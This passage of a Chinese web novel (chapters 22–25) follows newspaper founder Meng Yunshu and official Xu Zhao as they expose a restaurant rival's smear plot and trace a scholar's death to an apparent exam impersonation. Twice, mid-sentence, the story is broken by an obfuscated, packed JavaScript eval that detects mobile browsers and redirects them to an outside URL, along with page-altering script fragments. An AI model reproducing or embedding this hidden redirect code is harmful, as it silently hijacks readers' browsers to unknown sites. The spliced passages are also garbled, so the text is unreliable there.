“揽月阁的规矩是按整单价格的十倍赔偿,他们如果从一开始就打着讹诈揽月阁的主意,为何不多要些饭菜,而是只点两碗素面?” 她看向那两名男子,他们虽穿着粗布衣衫,但着装整洁,不至于连两盘家常菜的钱都掏不起。 “他们这样下来赚不到一两银子,何苦如此大费周章。” 孟允抒心中有了一个猜测,见那两人还想掩饰,决定先诓他们一下。 “你们是受人所托,犯不着把自己也搭进去。当然,两位要是想去看看牢房的光景,我也没意见。” “不不,我们说。”那两人见孟允抒已经道破真相,只能如实招来,“我们是福临楼里的帮工。” 潘掌柜恍然大悟:“我说最近怎么总有人在揽月阁中捣乱,原来是你们福临楼干的好事!” 福临楼是另一家中型食肆,与揽月阁相隔一条街。它的开张时间比揽月阁更早,作为老字号一度与揽月阁平分秋色。但一山难容二虎,随着揽月阁的生意愈发红火,规模日渐扩张,福临楼的营收每况愈下,店里的光景已经不复从前。 这两个伙计害怕他们掌柜怪罪,可这边有许昭坐镇,又有孟允抒步步紧逼,他们觉得还是性命要紧,一股脑地将真相倒了出来:“我们掌柜说,是您抢了他的生意,所以叫我们来给您泼脏水,搞臭揽月阁的名声。” 这样一来,顾客就会涌向其他食肆,福临楼能从中分一杯羹。 “歹毒,卑鄙!”潘掌柜对他们的手段作出评价,“今日要不是有许大人和这位——” 孟允抒笑笑:“我姓孟。” 掌柜接着她的话说了下去:“和这位孟姑娘明察秋毫,揽月阁就是跳进黄河也洗不清!” 见潘掌柜大骂两个伙计,孟允抒劝解道:“掌柜息怒。这是他们两人的一面之词,我们还应继续查证。即便此事真是福临楼的掌柜一手策划,这二人也只是被逼无奈,您骂他们也没用。” 孟允抒替那两名男子解了围,他们连声向孟允抒道谢。 “道谢就先免了,我且问你们,方才你二人所言是否属实?” 他们看了看孟允抒身边的许昭,慌忙答道:“那是自然,我们所说句句属实,不敢有半点虚言。” “很好。” 孟允抒转过身面向围观群众,将声音抬高几分,趁机打起了广告:“既然我已提出查明此事,就会负责到底。我是黎民报社的社长,自始至终坚持将新闻真相带给诸位读者。各位若是想了解此事内情与后续,可于明日买份黎民日报一览事件脉络。” 在大家七嘴八舌地议论起“黎民报社”的时候,孟允抒对那两名伙计说道:“二位要是想保全自身,就带我去找你们福临楼的掌柜当面对质。” 他们点头应允,潘掌柜也恭敬地作了一揖:“难怪孟姑娘机敏过人,原来是报社的探官。” 对于她提出的解决方案,潘掌柜则说道:“那就有劳孟社长带我跑一趟了。我这边抽不开身,先派个伙计随你一同前去。” 见事情已经告一段落,旁观的食客陆续散开,孟允抒转头向许昭说道:“那我先去福临楼,你吃完饭后就回官府吧。” “不,我也和你一起去。我也正巧要去福临楼中寻人。”沉默半晌的许昭抬起头来,“陈修远的那名同乡好友陈暄,正是福临楼里的帮工。” 22. 内幕 新闻与案件都是刻不容缓的事物,孟允抒和许昭带上揽月阁、福临楼的三名伙计,马不停蹄地赶往福临楼。 按照孟允抒事先交代过的流程,两名伙计打头阵走在最前方,进了福临楼的大门就大喊道:“掌柜,大事不好了!” 一个中年男子快步从后厨中走出,先是给他们打了个压低声音的手势,而后一脸不耐烦地问:“大呼小叫的干什么,你们没见到这儿有这么多客官吃饭?” 趁着他们进门的这会功夫,孟允抒已经迅速将福临楼上下打量了一番。 福临楼开张有些年头了,连大门上的朱漆都脱落不少。不过瘦死的骆驼比马大,即便福临楼的营收大不如前,肆内的食客依然不在少数,他们的高谈阔论溢满整间店铺,全无孟允抒此前想象的凄凉萧索。 从这点来看,福临楼的掌柜依然在乎自己的声誉,不至于破罐破摔。 只要他还有软肋,交涉起来就不会太困难。 掌柜将两个伙计训斥一通,望见他们身后跟着的孟允抒等人,看他们不像是来吃饭的样子,疑惑地问道:“这几位是?” “这位是刑部郎中许大人,这位是黎民报社的孟社长。”两个伙计又反过来向他们介绍道,“这就是我们店的刘掌柜。” 双方互相行了礼,孟允抒率先问道:“刘掌柜,这两位可是你们福临楼里的帮工?” 从方才刘掌柜的反应来看,这个问题的答案已经明了。 他点头道:“正是。不知几位前来是有何事?” 孟允抒瞥了眼店中的食客,不少人将目光投向他们,显然是被许昭身上的那件公服吸引了注意力。 “有些事我们想单独问问掌柜,不知您能否行个方便?” 许昭的名号再次发挥了作用,虽然刘掌柜尚不知晓他们来此处的目的,却也不敢怠慢。 “那是自然,几位请。” 刘掌柜带他们来到后院的房间内,几人落了座,刘掌柜差遣伙计去端茶,孟允抒阻拦道:“掌柜不必拘礼,我们要问的不是什么要紧事,若是您愿意配合,我们几句话就能说完。” 孟允抒直入正题,指着那两个帮工问:“请问掌柜,可是你唆使这两名伙计在揽月阁的饭菜中投放异物,凭空污人清白?” “什么,你们做过这事?”刘掌柜惊疑地看看两个伙计,向孟允抒大呼冤枉,“好端端的,我怎会让他们去揽月阁污蔑旁人,孟社长何出此言?” 孟允抒看了眼福临楼的两名伙计,他们赶忙上前劝道:“掌柜,方才在揽月阁时两位大人就已经查明真相,您快和他们说实话吧,坐牢可不是闹着玩的。” 刘掌柜还是一头雾水的模样:“什么真相?” 两个伙计向他概述了事件全过程,刘掌柜赶紧向孟允抒和许昭解释道:“两位大人不能相信他们说的话。平日里我对他们严加看管,他们对我积怨已久,如今故意使出这样下三滥的伎俩,再把这污名强加于我,这分明是报复!” 两个伙计先是一愣,而后又急又气地说道:“掌柜,我们是听令行事,如今事情败露,你不能弃我们于不顾!” 孟允抒并不相信这两人能想出这样曲折的计谋。 更何况,砸福临楼的招牌就等于砸他们自己的饭碗。 她不紧不慢地说道:“掌柜若是非要装傻充愣,那看来我们也不必在此白费口舌,回头自有刑部的人来上门接你。” 刘掌柜的脸色一白,孟允抒继续向他施压:“而且在揽月阁时,许多人曾围观此事,知晓内情。掌柜要是不怕众口铄金,损毁福临楼的清誉,那就当我多管闲事。” 说罢,她起身欲走。 “别,两位大人留步。”他讪笑着请孟允抒和许昭重新坐下,“大人对不住,我不是有意瞒你们。” 他叹了口气,老老实实地交代自己的动机。与那两个伙计所述一致,他的确是出于商业竞争的目的,这才出此下策。 说着,他又为自己的行为作辩解,咬牙切齿地说:“我知道这手段不光彩,可揽月阁的食器本身就不干净,他们昧着良心赚钱,我不过是把这事捅出去罢了。” 许昭发现一个重点问题,追问他道:“你为何说揽月阁的食器不干净?” “旁人都是这么说的。”刘掌柜回答,“上个月揽月阁中发生命案,陈修远死得突然,大家都说是他所用食器有问题,而潘掌柜为掩人耳目买通了县尉,对外宣称他是突发陈疾而亡。” 孟允抒问:“这些都只是传言,不足为信。你可有其他确切证据?” “我不是官府的人,案发当晚也不在现场,且与陈修远只有一面之缘,哪里来的证据。”刘掌柜说着,一拍脑袋想起一个关键人物,“对了,陈暄。” 听到这个名字,孟允抒和许昭都坐直身子,凝神听他继续讲下去。 “陈暄是陈修远的同乡好友,几年前来我们店里帮工,吃住都在铺中。他在休息时总是捧着书看,后来我问他得知,他是个秀才,参加了两次乡试都未能中举。他家中现在只剩下他一个人,就索性到京城做工,一边赚钱一边备考。” “大概三个月前,陈修远进京赶考,陈暄曾带他来福临楼中吃饭。我听陈暄说过去他们两家离得近,二人自幼相识,是二十几年的挚友。” 刘掌柜讲述着事情的来龙去脉,这些与许昭掌握的情报相吻合。 “殿试放榜后,陈暄看起来很高兴,嘴里念叨着陈修远十几载寒窗苦读,如今终于有了回报。” 在他的描述中,孟允抒觉得陈暄和陈修远的交情甚笃。 刘掌柜的语气中充满惋惜:“但在其后没过几天,陈修远就意外亡故了。从那天起陈暄就四处奔走,想为陈修远讨个公道。上诉未果后,他又跑去找揽月阁和柳玉成的麻烦,要求他们供出案件真相。” 许昭打断他的话提问:“陈暄为何认定这案子的判罚有误?” “他说陈修远的性格豁达爽朗,又格外注重自身修养,平日控制情绪得当,这么多年来都未曾复发陈疾,怎会突发心痹而亡?” “除此之外,潘掌柜的举动更是坐实了他的猜测。陈暄上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432207|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几次后,潘掌柜没再赶走他,而是给他赔了八百两银子,让陈暄不要再揪住此事不放,否则他就去报官。” 刘掌柜敲敲桌子:“这真是奇怪。揽月阁中雇有打手,潘掌柜完全可以将陈暄拒之门外,时间久了他自然会消停。更何况陈暄无权无势,他能有多大的能耐,潘掌柜为何会因为他的纠缠轻易让步?” 孟允抒和许昭先前也曾对此产生怀疑,潘掌柜给出的理由不能服众。陈暄由此认定,陈修远的死一定与揽月阁有关。 “陈暄收了潘掌柜的银两交给陈修远家人,也不好继续在明面上闹事,但我知道他心里始终憋着一口气。”刘掌柜讲道,“我本来就和潘掌柜不对付,我们俩互相给对方明里暗里地使绊子,最近陈暄给我出了不少主意。” 刘掌柜回到当下的话题,对孟允抒和许昭说:“今日诬陷揽月阁之事也是他一手谋划,我顶多只是点了个头,你们应该找陈暄问罪。” 孟允抒明白了,陈暄这是存心报复揽月阁,故而借刀杀人。 许昭问道:“陈暄今日可在铺中?” “在。”刘掌柜赶紧对旁边的伙计吩咐道,“快去把陈暄叫来。” 几人聊了没几句话,伙计就快步进来说道:“两位大人,陈暄已经带到了。” 孟允抒抬眼看了看陈暄,这人中等个头,体型偏瘦,颧骨较高,这让他显得有些阴郁。 许昭的身份最容易辨认,陈暄直勾勾地盯着他,开口说道:“大人今日前来,是要把我抓去用刑,好让我自此闭嘴吗?” “哎,你怎么和许大人说话呢!”刘掌柜喝止他继续说下去,转头对许昭赔着笑说,“他就是这脾气,但是没什么坏心思,您别见怪。” 孟允抒心想,许昭较真的时候比陈暄说话难听多了,他对此肯定没什么感觉。 许昭问了陈暄一些案情相关的问题,又与他确认刘掌柜所言属实,看向他问道:“你为何会认为我是来抓你的?” 陈暄淡然说道:“我先前替修远申冤时,县衙的大人们常以各种理由把我抓起来挨板子,我都习惯了。” 重建信任绝非易事,许昭沉默许久,不知该如何回应。 “许大人和他们不一样。你若确实有冤,他定会助你查明真相。” 孟允抒的话掷地有声,像是在说一个不容置疑的事实,这让许昭和陈暄都转过头,一齐望向她。 陈暄质问孟允抒:“你与许大人是什么关系,又如何能作出此番保证?” “我与许大人是朋友。” 眼见着许昭的神情逐渐落寞,孟允抒不易察觉地碰碰他的胳膊,提醒他配合自己演戏,面带微笑地说道:“我是黎民报社的社长,此番同他一起前来调查事件,为的就是将真相昭告天下。横竖你也找不到突破口,不如与我们合作。” 陈暄的目光从两人脸上依次扫过,将信将疑地问:“你们需要我做什么?” “很简单,回到揽月阁找潘掌柜。”孟允抒对他说道,“你有什么疑问就尽管抛出来,看看潘掌柜能否对答如流。” 23. 纠缠不休 从见到陈暄的那一刻起,潘掌柜就是一副头痛欲裂的表情。 他带着几人寻了处空房坐下,刚落座就拧着眉头问孟允抒和许昭:“两位大人,你们帮我挽回声誉,我感激不尽。但你们把这个大麻烦带来干什么?” 看得出来,潘掌柜被陈暄折磨得不轻。 孟允抒顺着他的话茬,半是调侃半是提问道:“陈暄是一介草民,潘掌柜财大气粗,还拿他没办法?” “看您这话说的。”潘掌柜回答,“我能让他进不来揽月阁,却拦不住他在外面诋毁我们的名声。” 说到这,他苦着张脸看向陈暄:“我已经给你赔了银子,你为何还是不依不饶?” 陈暄的语气略带讥讽:“怪不得人皆爱财,有了银子就可以颠倒黑白,肆意篡改真相。” 潘掌柜气血上涌,他拍案而起,指着陈暄的鼻子反问:“你凭什么认定陈修远一案与揽月阁脱不了干系?就因为我好心赔了钱?好人当真做不得?” 掌柜的声音一句比一句高,许昭劝他先冷静,听听陈暄怎么说。 “潘掌柜完全可以对我的诉求不予理会,甚至以寻衅滋事为由把我交给官府处置,可你非但没有这么做,反而给我赔了银子,并且反复劝诫我就此罢手。由此可见,你不想让我把事情闹大。即使修远的事与掌柜无关,你也肯定对我有所隐瞒。” 陈修远的脸上显露出一丝哀伤:“我并非有意与掌柜作对,但我必须知晓修远的真正死因。当前我一筹莫展,只能试图从你这里获取线索。” 所以,陈暄就拼了命地给揽月阁找事,在此胡搅蛮缠。 孟允抒觉得,陈暄和萧谨言还有许昭都挺一根筋的。 或许这就是读书人的共性。 “但我确实与陈修远一案无关,你让我怎么说?”潘掌柜看起来一副快要崩溃的样子,“自案发后就总有传言说揽月阁的食器或饭菜不干净,为此我才特意出了新规。当时我经不起半点波折,就想尽快解决纠纷,你却不肯放过我。” 双方各执一词,他们陷入了僵局。 孟允抒见潘掌柜不为所动,只能另想他法。 她回顾案情,潘掌柜愿意给陈暄作出赔偿,证明他至少还有些良心。她或许可以把这点当作突破口。 孟允抒试探着说道:“潘掌柜,既然你问心无愧,又已经作出赔偿,陈暄却仍然毁你声誉,那就不必手下留情,和他在这白费口舌。此等无赖就该给他些教训尝尝。” 她看了看许昭:“正好许大人今日在此,待会顺便把陈暄带回官府,让他受点皮肉之苦,这下他就能老实一阵,不再打扰潘掌柜。” 许昭愣了愣,他不知道孟允抒唱的是哪出,却依然配合地点点头。 陈暄比他先回过神,大骂孟允抒道:“亏我方才信了你的鬼话,竟没看出你心如蛇蝎!” 孟允抒倒是希望他多骂两句,这样效果更逼真。 “住口。”孟允抒佯装怒道,“潘掌柜心善,你却对他死咬不放,不知丧尽天良的人是谁!” 她回头对许昭说道:“许大人,麻烦您快把这泼皮抓走,好还潘掌柜一个安宁。” 见许昭起身去押陈暄,潘掌柜慌忙阻拦道:“等等。” 他脸上挤出一个微笑:“不劳许大人费心,此事我们私下解决即可。” 孟允抒心里有了底。 陈暄说得没错,潘掌柜确实心里有鬼。 孟允抒故作惊讶道:“掌柜这是何意?” 许昭也察觉到潘掌柜的反应异常,附和着孟允抒问道:“陈暄屡次找你的麻烦,现今我们把他依法处置,你为何要阻拦?” “我确实不胜其烦,但他犯的都是些小事,两位不用如此大动干戈。” “不行。”许昭斩钉截铁地说道,“国有国法,掌柜不该袒护他。” 这句话实在太符合许昭的人设,孟允抒不知道他是演的还是真的。 在两人的拉扯之中,潘掌柜急得跺脚,口不择言道:“你们一个两个怎么都犟成这样,这案子查下去对你们有什么好处?” 在场所有人都听出他的弦外之音。 许昭的神色一凛:“听掌柜的意思,你是劝我们不要深究此案?” 潘掌柜连忙辩解:“不是,我……” “扑通”跪地的声音打断了他的话。 陈暄双膝跪地,可腰板却挺得笔直,神情庄严。 他高声说道:“潘掌柜,修远与我是至交好友,我不能就这样看着他不明不白地走了。我恳求您将实情告知于我。” 他弯下腰去,将额头磕向地面。 “拜托了。” 潘掌柜的眉头拧得更紧了:“你这是做什么,赶紧起来!” 陈暄重新站起后,潘掌柜背起手摇着头,在屋内快步走了几个来回,最后重重叹了口气,坐到椅子上。 他将视线投向屋中的地毯,用目光细细描摹着上面的图案。 “我从六岁起就四处流浪,过着饥一顿饱一顿的日子,靠着给人当学徒做工攒了些钱,后来慢慢开起了这间食肆。” 潘掌柜没有过多描述这些经历的细节,但不用想也知道,一个孤苦伶仃的乞儿白手起家,一步步走到今天,其中定是饱尝心酸。 “其实,我幼时并未想过长大后我会从商。若是能够选择,我更希望有机会读书入仕。”他抬眼看看陈暄,“你和陈修远都是出身贫寒的读书人,你们遭此劫难却申冤无门,我于心不忍,因此主动赔了银两。” 就在孟允抒以为潘掌柜要把内幕告诉他们时,他却来了个转折句。 “可揽月阁是我毕生心血,我必须谨慎行事。” 潘掌柜看着眼前的三人:“经商之人难免要与各方势力打交道,要学会圆滑处事,许多事辨得太清对自己没好处。这个道理同样适用于其他方面。” 他语重心长地说道:“几位听我一句劝,此事吃力不讨好,你们别再查下去了。” 根据潘掌柜所说的话,孟允抒已经可以肯定,他的确知道案件的隐情。 而且听他的口气,其中应当还牵扯到一些权贵或富庶之人。潘掌柜像是顾忌于此,才迟迟不肯对他们如实相告。 孟允抒轻叹一声:“多谢掌柜劝告,我也明白您的苦衷。” 在过去的采访中,她也经常能见到因为害怕祸及自身而故作无知的当事人。 不是每个人都有勇气讲真话。 “只是我有一问想请潘掌柜作答。”孟允抒转而问他,眼中迸射出锐利的光芒,“若人人都像您这般装聋作哑,倘若某日您蒙受冤屈,旁人却对此置若罔闻,掌柜又该当如何?” 潘掌柜的面色有一丝松动:“话是这么说,可是……” “潘掌柜,我出身寒门,靠着读书考试才得以入朝为官,一路走来见过太多不平,也经历了不少磨难。” 许昭看了看端坐在椅子上的陈暄,像是见到了昔日的自己。 “现今我既然有职权在身,就绝不会对冤情视而不见。此案我一定会彻查到底。” 许昭的语气坚决,潘掌柜忍不住问他:“为几个不相干的小人物,大人甘愿以身涉险,这样值得吗?” 对此,许昭只作出了一句简短的回答。 “我先前也是和他们一样的‘小人物’。” 在潘掌柜沉默之际,许昭又开口说道:“我曾听闻许多屈打成招的案例,所以在为官之后,若非必须,我不会对人用刑。” 孟允抒听出来了,这是一句自证,也是一句警告。 许昭这是先礼后兵。 潘掌柜显然也明白了许昭的弦外之音。在他们的软硬兼施下,他认命地往椅背上一靠。 终于,他吐露出一条线索。 “大人若是有心查明此案,应当从柳玉成处着手调查。” 潘掌柜抬起头看向许昭,将他案发后的经历一一道来。 “那日陈修远意外身亡,县衙的人来勘查了现场,他们了解过大致情况,将我与柳玉成带走审问。审讯结束后,因为案件真相尚且不明,我与柳玉成都被暂时关押在牢中,听候发落。” “直至此时我都没明白发生了什么,万分忧心于自身清白。柳玉成见状和我搭上了话,他劝我不要细究此事,免得惹祸上身。柳玉成说,只要我肯听从县衙的安排,并且对今日之事守口如瓶,他就能保证我性命无虞,同时揽月阁的声誉也不会受损,对我作出的罚金将由他承担。” “我对此将信将疑,却也不敢轻举妄动。过了几日,结果的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444403|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确如柳玉成所说,此事就这样被轻轻放下,他也兑现诺言,给了我五十两银子。” 潘掌柜回忆着整件事当中的蹊跷之处:“柳玉成事先就能知道判决结果,从那几日县衙的人对我们的态度也能看出,他应该已经提前打点好了一切。既然他能摆平这种人命官司,背后势力定是不容小觑。” 孟允抒和许昭对视一眼,交换了一下彼此的观点。 如果潘掌柜没有说谎,那么柳玉成的嫌疑很大。 “多谢潘掌柜坦言相告,稍后我会派人在暗中防守,近日将由他们保护你的安全。” 此举的另一个目的就是在揽月阁处布防盯梢。 许昭作出下一步打算,对孟允抒和陈暄交代道:“事不宜迟,我马上回官府,带上人前去柳玉成的住处。” “大人且慢。”陈暄上前一步说道,“柳玉成家恐怕已经是人去屋空了。自判罚结果公布后,我曾找过柳玉成几回,除了前两次他在家以外,后面我就再也没能敲开他的大门.他周边的街坊邻居都说,他已经搬离了那里。” 柳玉成的这一举动更是让他的作案嫌疑直线上升。 许昭略一思索后说道:“既是如此,我先和几人前去他家中查看情况,若他的确已经搬离那里,我再发布公告悬赏寻人。” “我和你一起去。”孟允抒起身说,“如有需要,我也可以将此事登在小报上,发动民众提供线索。” 许昭开口想说些什么,他瞥了眼在场的其余两人,却止住了话头。 在离开揽月阁,支走陈暄之后,他这才向孟允抒说出方才没说出口的话。 “姑娘请回报社吧,接下来的事你就别参与了。” 孟允抒的调查骤然受阻,她连忙问许昭:“是因为公子查案不方便外人在场吗?” 许昭飞快地瞟了她一眼,又迅速将目光从她身上挪开,故作镇定地点点头。 孟允抒从他的表现中就能看出,许昭肯定在瞒她。 她停下脚步,强硬地命令道:“许公子,你看着我。” 许昭转过头照做。 “你告诉我,为什么突然不让我继续往下查了?” 见许昭眼神飘忽,孟允抒眼疾手快地扶住他的脑袋,不让他把头转回去。 孟允抒装出委屈的模样说道:“那日我与你谈心之后,还以为公子此后就愿意与我坦诚相待,原来只是我一厢情愿。” 她失望地收回手,却被许昭急忙攥住手腕:“姑娘别误会,我不是这个意思。” 见孟允抒在一旁长吁短叹,许昭无措地解释道:“正如潘掌柜所说,此事太过危险,其中不知会牵涉何方势力,我担心你会被波及。” 孟允抒察觉到自己手腕上的力道更重了些,许昭像是极力想要抓住她。 许昭的声音非常低落:“我不能再让我的亲友遭遇类似的事。” 他指的当然是过去揭发知县罪证一事。 孟允抒蓦地发现,这桩案件中有诸多细节能让许昭触景生情。 寒门学子平白受冤,县衙官员受贿渎职,陈暄为挚友两肋插刀,身边人被卷入事件漩涡。 历史总是惊人地相似。 如果许昭做不到坦然面对这些,那他就永远无法摆脱过去的阴霾。 “许公子,我且问你,在你秉公直言、追求真相时,可曾害怕得罪旁人?” 许昭摇头:“不怕。这是我分内之事,若非如此,我做官就毫无意义。” 孟允抒笑笑:“既然公子不怕,那我自然也不怕,请公子信我。” 察觉到许昭卸下手上的力道,孟允抒抽出手腕反握住他的手:“再者,追寻真相也是我的目标。我与公子想做的事只是恰巧一样,无论遭遇什么都缘于我自身,绝非是因为受你牵连。你不必将责任全部归结在自己身上。” 许昭愣了愣神。孟允抒这话既像是安慰又像是斥责,但她的意思很明确,她是自己主动想这样做,而非作为许昭的附属无辜受累。 她松开许昭的手,半是示威半是调侃道:“要是公子不愿同我合作,我也不可能就此罢休。我会通过其他方式继续查下去。” “不,我明白姑娘的志向了。”许昭释然地笑笑,“那就请你与我同行,助我破获此案。” 24. 线索 正如陈暄所说,孟允抒一行人赶至柳玉成家却扑了个空,破门而入后并未获得更多线索。面对许昭的询问,柳玉成的左邻右舍也只是摇头,言说不知他身在何处。 几人无功而返,于是孟允抒和许昭按照起初的计划分头行动,各自打探柳玉成的踪迹。 孟允抒坐在办公室内,推开桌上堆积如山的纸张,腾出一小块空地将胳膊搭上去,端详着今日将要发行的小报。 她翻过几张纸,在看到那张带着画像的寻人启事时,动作随之一顿。 报社已经连续两日刊登有偿寻找柳玉成的消息,她也陆续收集了些线索,但大部分情报的真实性不敢恭维。 许昭那边的调查也还没有眉目。 今日已经是第三天,距离任务截止期限仅剩四日,但事情依然没有半分进展。 孟允抒盯着画像上的人物陷入沉思。根据潘掌柜和陈暄的描述,柳玉成相貌清俊,打扮简朴,气质内敛儒雅,前几日她和许昭前往他家也发现,柳玉成的住处可用“家徒四壁”来形容。 无论从哪个方面来看,都难以让人将他与蓄意谋杀的罪名联系在一起,柳玉成也并不像是有手眼通天的本事。 孟允抒重新梳理这桩案件以及他们掌握的信息,当下他们最欠缺的是确切的证据。 许昭先前曾提出此案的几个疑点,但凭它们及陈暄、潘掌柜的证词,目前还不足以直接给任何人定罪。 “孟社长,有人找您,说是有关于柳玉成的线索。” 排云的笑声打断了孟允抒的思考,她点头道:“请他进来。” 随着排云作出邀请的动作,门口赫然出现一张熟悉的面庞。 “孟社长日理万机,我贸然打扰,实在抱歉。” “睿言?”孟允抒对他的突然到访有些意外,起身请他坐下问,“这会辰时未过,你是怎么溜出来的?” “今日我清闲无事,点了卯之后就没人管我,我便寻了个机会跑出官府。”萧睿言不慌不忙地端杯抿了一口,赞叹道,“孟社长这里的茶果真不俗。” 萧睿言算是报社的兼职探官,平日里的朝堂新闻多半来自于他,孟允抒也经常能在官府散值之前见到他的身影。 只是今日萧睿言一大早就来报社,这还是头一回。 孟允抒言归正传:“方才你说有柳玉成的线索?” “正是。”萧睿言见孟允抒桌上正巧搁着那则寻人启事,他顺手将小报拿过来笑道,“我若是提供线索,孟社长可要兑现诺言,为我支付报酬。” “那是自然。”孟允抒转而问道,“但你为何不直接将线索告诉许郎?” 她和许昭分别发布告示的目的是尽可能多地推广这则信息,朝廷内部的消息流通显然比他们的小报更快,她不明白萧睿言为什么要舍近求远。 “就我知道的信息而言,柳玉成的事恐怕是拔出萝卜带出泥。我是想凭借情报获利,却不愿引火上身。”萧睿言回答,“官员间利益纠葛错综复杂,若我向许大人提供线索,难保不会走漏风声。” 相比之下,孟允抒接待的访客鱼龙混杂,为萧睿言提供了浑水摸鱼的良好机会。 孟允抒从萧睿言的话中听得出,他掌握着一个重要线索。她站起身请萧谨言去隔壁:“我们换个地方说话。” 中庭里那个最小的房屋就是会客间,与线人密谈、读者来访等活动都会在此进行。 孟允抒与萧睿言重新落座,他再次扫了眼柳玉成的画像,直入正题道:“我不知柳玉成身在何处,但我上次见到他时,他用的并非这个姓名。” 萧睿言放下手中的小报,坐直了身子。 “两个月前我参加会试,他曾在我之前排队入场。他衣着简朴,身形清瘦,但身上背的包袱却是崭新的,用的也是上等布料,因而我多留意了他几眼。当时他向考官所报的名号是‘方知瑜’。” 方知瑜是方家的二公子,在权贵富户多如牛毛的京城,方家虽不是首屈一指的世家大族,但也算是有几分名气的富商。 尽管十分震惊,孟允抒依然压低声音问:“你是说,柳玉成是冒名顶替方知瑜前去应试?” 科举舞弊是重罪,更何况他参加的还是科举中的高级考试,这简直就是在皇上眼皮子底下顶风作案。 萧睿言笑笑,将自己从这件事中择了个干净:“我可从没说过这样的话,只是将我所知道的情况如实相告,具体如何决断还要看孟社长和许大人。” 孟允抒早就摸清了萧睿言“不粘锅”的特性,满口答应着请他继续讲下去。 “会试结束后,方知瑜排名第九,但殿试那日我却不曾见过他。”萧睿言指指柳玉成的画像,“是另一个‘方知瑜’来参加的考试。” 萧睿言的话意味深长,他明里暗里地提醒孟允抒,这件事一定暗藏玄机。 殿试是由皇帝亲自主持,在这一步可没有哪个不要命的敢去替考。这次来应试的应当是方知瑜本人。 “殿试放榜那日,我通读所有考生姓名,在最后一行看到了方知瑜的名字。来参加琼林宴的方知瑜与参加殿试的是同一人,我曾在席间同他交谈,他言说当时他身体不适,发挥欠佳,故而得此成绩。” 在科考中,殿试这一环节不会淘汰考生,所有的应试者都将一齐参与排名。可以这么说,一个人若是通过会试,那么他做官就是板上钉钉的事。 所以,如果柳玉成真是替方知瑜前去考试,帮到这一步也算是功成身退。 孟允抒听完萧睿言的叙述,除过对陈修远一案作出新猜想以外,同时在心底感叹萧睿言实在狡猾。 在他发现有两个方知瑜时,就应当意识到矛盾所在,但他却一直默不作声,直至今日借着许昭查案的东风才出来揭发。 他这是在避免成为那个引人注目的出头鸟。 孟允抒半是打趣半是内涵地说:“你真是好记性,这么久了居然还记得柳玉成的样貌。” 萧睿言反而夸赞她道:“那是因为孟社长慧眼识珠,找的画师技艺精湛,令人一眼便知此人模样。若非如此,我哪能想得起两月以前的事?” 经过这段时间的合作与相处,孟允抒知道萧睿言是打太极的高手,有话直说反而能提高两人的沟通效率。 “你早已察觉方知瑜有科举舞弊之嫌,却等到今日的机会才告发他。”孟允抒扬起唇角,但她的眼神中没有半分笑意,“你还有多少秘密瞒着旁人?” 当初创办报社时萧睿言突然蹦出来支持她,为她提供诸多帮助,她本就不全然相信他。起初她想着,等以后与萧睿言认识的时间久了,或许就能了解他的想法与目的,但如今孟允抒却越发觉得他深不可测。 面对孟允抒不加掩饰的猜疑,萧睿言则显得很坦然。 他还是平日那副翩翩君 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“我想要借助你和许大人的力量。从这点来说,我的确是在利用你。” 他将头垂下,又复而抬起,淡然一笑道:“如今政党之争愈演愈烈,谁都猜不到明日的政局是何种模样。我不愿与佞臣同流合污,却也不具备许大人舍生取义的气节,唯一能做的就是辅助你们这样的人,让官场不至于一片黑暗,百姓不至于申冤无门。” 孟允抒心里五味杂陈。她沉默良久后,轻轻说出一句话。 “抱歉,是我误会你了。” 萧睿言是个聪明人,她很庆幸他并不是站在自己的对立面。 会客间的门被匆忙叩响,萧谨言在外面喊道:“孟社长,你和睿言的会谈结束了吗?” “稍等。”孟允抒应了声,她起身开门问萧谨言,“你有什么事?” “今日有名编辑请假了,我这边缺人。我方才听排云说睿言来了,想找他帮忙。”萧谨言进了门,他看见坐在里面悠闲喝茶的萧睿言,气不打一处来,“你倒好,还有心思在这慢慢品茶!没事干就赶紧过来!” 孟允抒早就对这兄弟俩的相处模式习以为常,她不想被拉进两人的纷争中,又恰好要把新情报分享给许昭,于是寻了个借口告辞道:“那我先失陪了,你们聊。” “会客间不是吵架的地方,我们出去说。”萧谨言严格遵守规定,拽着萧睿言跟孟允抒一同出了门,对她说道,“你先去忙吧,这里就交给我和秋掌柜。” 在几人分别之后,孟允抒快要离开中庭时,却突然被萧睿言叫住。 “孟社长,我今日要在报社帮忙,还得忍受二哥的絮叨,没有功劳也有苦劳。”他图穷匕见,指着办公室笑着问孟允抒,“你这里的茶相当不错,我能再来几杯吗?” 萧谨言不满地在一旁训斥他:“你是来帮忙的还是来喝茶的?再说我哪里絮叨?” 孟允抒看看笑容满面地站在庭院中央的萧睿言,不知为何忽而想起,他今年刚满二十岁,放在现代也就是普通大学生的年纪。 这样一想,此前她将各种阴谋诡计与萧睿言联系起来,与他勾心斗角、反复揣摩他的心理,这一切都突然显得有些好笑。 孟允抒赶着去做正事,头也不回地摆了摆手。 “你想喝多少就喝多少吧,我准了。” 25. 教书先生 孟允抒赶往刑部,用“据不知名人士透露”这样的名号,将萧睿言所述情况反映给了许昭。 